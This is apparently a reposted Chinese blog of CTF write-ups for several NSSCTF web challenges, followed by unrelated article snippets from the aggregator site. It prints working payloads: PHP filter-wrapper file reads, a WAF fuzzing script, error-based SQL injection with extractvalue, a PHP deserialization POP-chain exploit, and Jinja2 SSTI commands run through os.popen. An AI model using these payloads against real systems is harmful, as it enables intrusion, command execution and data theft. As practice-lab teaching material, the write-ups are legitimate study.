NSSCTF做题(8)

[SWPUCTF 2022 新生赛]js_sign

看到了js代码

有一个base64编码,解密

最后发现这是一个加密方式

去掉空格之后得到了flag

NSSCTF{youfindflagbytapcode}

 [MoeCTF 2022]baby_file

提示说有一个秘密看看你能不能找到

输入?file=secret 出现报错

输入php伪协议读取index.php

?file=php://filter/convert.base64-encode/resource=index.php 

得到

CiAgICBoaWdobGlnaHRfZmlsZShfX0ZJTEVfXyk7DQp9DQo/Pg0KPC9odG1sPg0K

发现就是原页面,读取flag文件

得到flag

[NISACTF 2022]join-us 

SQL如何从字符串截取指定字符(LEFT、MID、RIGHT三大函数)_sqlserver 截取字符串到某个字符-CSDN博客

渗透测试-SQL注入之Fuzz绕过WAF_fuzz模糊注入_炫彩@之星的博客-CSDN博客

深入浅出带你学习无列名注入-CSDN博客

在登录找到了注入点

sql学的还是太少了,看网上大佬的思路来学的这道题

先用脚本对他进行fuzz测试,

大佬脚本:

import requests
fuzz={'length ','+','handler','like','select','sleep','database','delete','having','or','as','-~','BENCHMARK','limit','left','select','insert'
,'sys.schema_auto_increment_columns','join','right','#','&','&&','\\','handler','---','--','--+','INFORMATION','--',';','!','%','+','xor','<>'
,'(','>','<',')','.','^','=','AND','BY','CAST','COLUMN','COUNT','CREATE','END','case',"'1'='1'",'when',"admin'",'length','+','REVERSE','ascii'
,'select','database','left','right','union','||','oorr','/','//','//*','*/*','/**/','anandd','GROUP','HAVING','IF','INTO','JOIN','LEAVE','LEFT'
,'LEVEL','sleep','LIKE','NAMES','NEXT','NULL','OF','ON','|','infromation_schema','user','OR','ORDER','ORD','SCHEMA','SELECT','SET','TABLE','THEN'
,'UPDATE','USER','USING','VALUE','VALUES','WHEN','WHERE','ADD','AND','prepare','set','update','delete','drop','inset','CAST','COLUMN','CONCAT'
,'GROUP_CONCAT','group_concat','CREATE','DATABASE','DATABASES','alter','DELETE','DROP','floor','rand()','information_schema.tables','TABLE_SCHEMA'
,'%df','concat_ws()','concat','LIMIT','ORD','ON'
,'extractvalue','order','CAST()','by','ORDER','OUTFILE','RENAME','REPLACE','SCHEMA','SELECT','SET','updatexml','SHOW','SQL','TABLE','THEN','TRUE','instr'
,'benchmark','format','bin','substring','ord','UPDATE','VALUES','VARCHAR','VERSION','WHEN','WHERE','/*','`',',','users','%0a','%0b','mid','for','BEFORE','REGEXP'
,'RLIKE','in','sys schemma','SEPARATOR','XOR','CURSOR','FLOOR','sys.schema_table_statistics_with_buffer','INFILE','count','%0c','from','%0d','%a0','=','@','else'}
for i in fuzz:res = requests.post(url='******',data={'tt':i})if '不要耍小心思喔~'  in res.text:print(i)

测试结果:

insert
ascii
=
as
BY
BENCHMARK
UPDATE
sleep
anandd
case
FLOOR
&
union
LEFT
substring
benchmark
&&
updatexml
IF
CAST()
AND
rand()
CAST
database
DATABASE
left
right
by
'1'='1'
COLUMN
DATABASES
sys.schema_auto_increment_columns
floor
handler
update

其实一开始想到的是布尔盲注,因为输入1会返回txw4ever,输入0返回空白,但是禁用了ascii函数,禁用了updatexml函数,但是可以使用extractvalue函数。

database被禁,所以可以考虑用访问一个不存在的数据库来返回数据库。

payload:

-1' || (select*from ANTONIE)#

发现了报错注入

接着就是正常的报错注入

-1' || extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql')))#

爆出表Fal_flag,output

接下来column被ban了,所以用无列注入,join题目也有提示。

-1' || extractvalue(1,mid(concat(0x7e,(select data from output)),1,30))# 

最后用mid或reverse函数读取flag

1' || extractvalue(1,mid(concat(0x7e,(select data from output)),10,40))#

[GDOUCTF 2023]反方向的钟 

反序列化

 还是,构造pop链的话先从最后往前推

找可以命令执行的地方

发现只有一句这个  echo new $_POST['a']($_POST['b']);

又是一个新知识点

SecIN(浅谈php中常见的原生类)

能利用原生类SplFileObject读取文件

 所以目标点加上school类中的IPO方法

在__wakeup()类中 调用

而且只有 $this->department->hahaha() 为真时才可以调用

 变量department又要调用hahaha()

hahaha()是classroom类中的方法,所以这里要实例化classroom赋给dapartment

要实例化hahaha()就要满足这条语句

 if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department')

这里的变量name和rank又联系到了第一大类

hahaha返回true三个变量相等其中后面两个变量明显是一个对象中的name和rank变量

有这两个变量的只有teacher类,所以要实例化该类并赋值给leader

最后就是在teacher类中赋值name和rank即可

大致的链子为:

school::__wakeup()–>classroom::hahaha()–>school::IPO()  

poc是

<?php

class teacher{
    public $name;
    public $rank;
    private $salary;
    public function __construct($name,$rank,$salary = 10000){
        $this->name = $name;
        $this->rank = $rank;
        $this->salary = $salary;
    }
}

class classroom{
    public $name;
    public $leader;
    public function __construct($name,$leader){
        $this->name = $name;
        $this->leader = $leader;
    }
    public function hahaha(){
        if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
            return False;
        }
        else{
            return True;
        }
    }
}

class school{
    public $department;
    public $headmaster;
    public function __construct($department,$ceo){
        $this->department = $department;
        $this->headmaster = $ceo;
    }
    public function IPO(){
        if($this->headmaster == 'ong'){
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        }
    }
    public function __wakeup(){
        if($this->department->hahaha()) {
            $this->IPO();
        }
    }
}
$a=new school(new classroom("one class",new teacher("ing","department")),"ong");

/*******/创建了一个 teacher 对象,使用 "ing" 作为姓名,"department" 作为职位,默认薪水为 10000。创建了一个 classroom 对象,使用 "one class" 作为名称,并将上一步创建的 teacher 对象作为领导。创建了一个 school 对象,使用上一步创建的 classroom 对象作为部门,以及字符串 "ong" 作为校长。将创建的 school 对象赋值给变量 $a。/********/

 
echo urlencode(base64_encode(serialize($a)));
?>

 

成功绕过

 接下来利用原生类SplFileObject读取文件

a为类,b用php协议读取flag.php   /代码中说了flag在flag.php中

所以POST的payload为:

a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php 

解密得flag

[SWPUCTF 2022 新生赛]xff 

看标题,先来个抓个包瞅瞅

他说必须从小红自己的电脑上访问

直接抓包然后xff,发现没有东西

看看在加个referer:xiaohong

 [NSSRound#4 SWPU]1zweb

看标签是有php伪协议,上传文件不知道他都有什么绕过

 在查询文件里输入 php://filter/convert.base64-encode/resource=/flag

 得到了base64编码

解码得到flag

 [HNCTF 2022 WEEK2]ez_SSTI

进去直接问你什么是模板注入,忍不了一点

SSTI (Server Side Template Injection) - HackTricks

这是题里给的链接,讲解的很详细

得到的参数是name,发现是jinja2模板,而且没过滤

找到flag文件

 ?name={{config.__class__.__init__.__globals__['os'].popen('ls').read() }}

读取 ?name={{config.__class__.__init__.__globals__['os'].popen('cat flag').read() }}

ssti好久没复习,都有点忘了,而且之前博客整理的payload也不够

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/131862.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

VsCode同时编译多个C文件

VsCode默认只能编译单个C文件&#xff0c;想要编译多个文件&#xff0c;需要额外进行配置 第一种方法 ——> 通过手动指定要编译的文件 g -g .\C文件1 .\C文件2 -o 编译后exe名称 例如我将demo.c和extern.c同时编译得到haha.exe g -g .\demo.c .\extern.c -o haha 第二种…

Redis-集群

Redis-集群 主从复制和哨兵只能在主节点进行写数据&#xff0c;从节点读取数据&#xff0c;因此本质上&#xff0c;是进行了读写的分离&#xff0c;每个节点都保存了所有的数据&#xff0c;并不能实现一个很好的分布式效果。 1.哈希求余算法 假设有N台主机&#xff0c;对每台…

k8s 集群部署 kubesphere

一、最小化部署 kubesphere 1、在已有的 Kubernetes 集群上部署 KubeSphere&#xff0c;下载 YAML 文件: wget https://github.com/kubesphere/ks-installer/releases/download/v3.4.0/kubesphere-installer.yaml wget https://github.com/kubesphere/ks-installer/releases/…

stable diffusion艰难炼丹之路

文章目录 概要autoDL系统盘爆满autoDL python3.8切换python3.10dreambooth训练大模型完成后报错 概要 主要是通过autoDL服务器部署stable diffusion&#xff0c;通过dreambooth训练大模型。 问题&#xff1a; autoDL系统盘爆满autoDL python3.8切换python3.10dreambooth训练大…

图扑 HT for Web 风格属性手册教程

图扑软件明星产品 HT for Web 是一套纯国产化独立自主研发的 2D 和 3D 图形界面可视化引擎。HT for Web&#xff08;以下简称 HT&#xff09;图元的样式由其 Style 属性控制&#xff0c;并且不同类型图元的 Style 属性各不相同。为了方便查询和理解图元的 Style 属性&#xff0…

Excel·VBA使用ADO合并工作簿

之前文章《ExcelVBA合并工作簿&#xff08;7&#xff0c;合并子文件夹同名工作簿中同名工作表&#xff0c;纵向汇总数据&#xff09;》处理合并工作簿问题&#xff0c;代码运行速度比较慢 而《ExcelVBA使用ADO读取工作簿工作表数据》读取数据非常快&#xff0c;那么是否可以使用…

Websocket获取B站直播间弹幕教程——第二篇、解包/拆包

教程一、Websocket获取B站直播间弹幕教程 — 哔哩哔哩直播开放平台 1、封包 我们连接上B站Websocket成功后&#xff0c;要做两件事情&#xff1a; 第一、发送鉴权包。第二、发送心跳包&#xff0c;每30秒一次&#xff0c;维持websocket连接。 这两个包不是直接发送过去&…

scratch保护环境 2023年5月中国电子学会图形化编程 少儿编程 scratch编程等级考试一级真题和答案解析

目录 scratch保护环境 一、题目要求 1、准备工作 2、功能实现 二、案例分析

STM32 Cube项目实战开发过程中--调用Freemodbus通信出现异常问题原因分析--ADC DMA初始化顺序导致串口数据异常问题解决办法

文章目录 1.ADC与DMA初始化顺序导致使用Freemodbus串口通信异常&#xff1a;2.通信异常时串口初始化的顺序为&#xff1a;3.重新调整初始化位置后&#xff0c;通信问题解决&#xff1a;5.重新调整初始化位置后&#xff0c;通信正常&#xff1a;总结&#xff1a;Cube开发库系统默…

文件上传 [MRCTF2020]你传你呢1

题目来源&#xff1a;buuctf [MRCTF2020]你传你&#x1f40e;呢1 打开题目 我们随便上传个木马文件上去 我们bp抓包看看

Qt中常用容器组控件介绍和实操

目录 常用容器组控件(Containers)&#xff1a; 1.Group Box 2.Scroll Area 3.Tab Widget 4.Frame 5.Dock Widget 常用容器组控件(Containers)&#xff1a; 控件名称依次解释如下(常用的用红色标出&#xff09;: Group Box: 组合框: 提供带有标题的组合框框架Scroll Area…

基于YOLO算法的单目相机2D测量(工件尺寸和物体尺寸)

1.简介 1.1 2D测量技术 基于单目相机的2D测量技术在许多领域中具有重要的背景和意义。 工业制造&#xff1a;在工业制造过程中&#xff0c;精确测量是确保产品质量和一致性的关键。基于单目相机的2D测量技术可以用于检测和测量零件尺寸、位置、形状等参数&#xff0c;进而实…